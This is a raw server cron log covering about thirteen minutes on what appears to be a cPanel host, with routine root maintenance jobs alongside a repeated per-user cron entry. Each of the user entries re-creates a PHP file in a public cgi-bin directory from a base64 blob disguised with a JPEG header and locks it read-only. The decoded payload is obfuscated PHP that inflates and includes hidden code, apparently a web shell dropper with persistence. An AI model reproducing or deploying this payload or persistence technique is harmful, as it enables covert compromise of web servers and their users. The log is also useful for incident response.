Nov 14 08:42:01 server CROND[4883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:42:01 server CROND[4884]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 08:43:01 server CROND[5758]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:44:01 server CROND[6520]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:45:01 server CROND[7387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:45:01 server CROND[7389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:45:01 server CROND[7390]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:46:01 server CROND[8306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:47:01 server CROND[9361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:48:01 server CROND[9830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:49:01 server CROND[10684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:50:01 server CROND[11598]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 08:50:01 server CROND[11601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:50:01 server CROND[11605]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:50:01 server CROND[11604]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 08:50:01 server CROND[11603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:51:01 server CROND[12503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:52:01 server CROND[13359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:53:01 server CROND[14195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:54:01 server CROND[14780]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:55:01 server CROND[15649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:55:01 server CROND[15650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
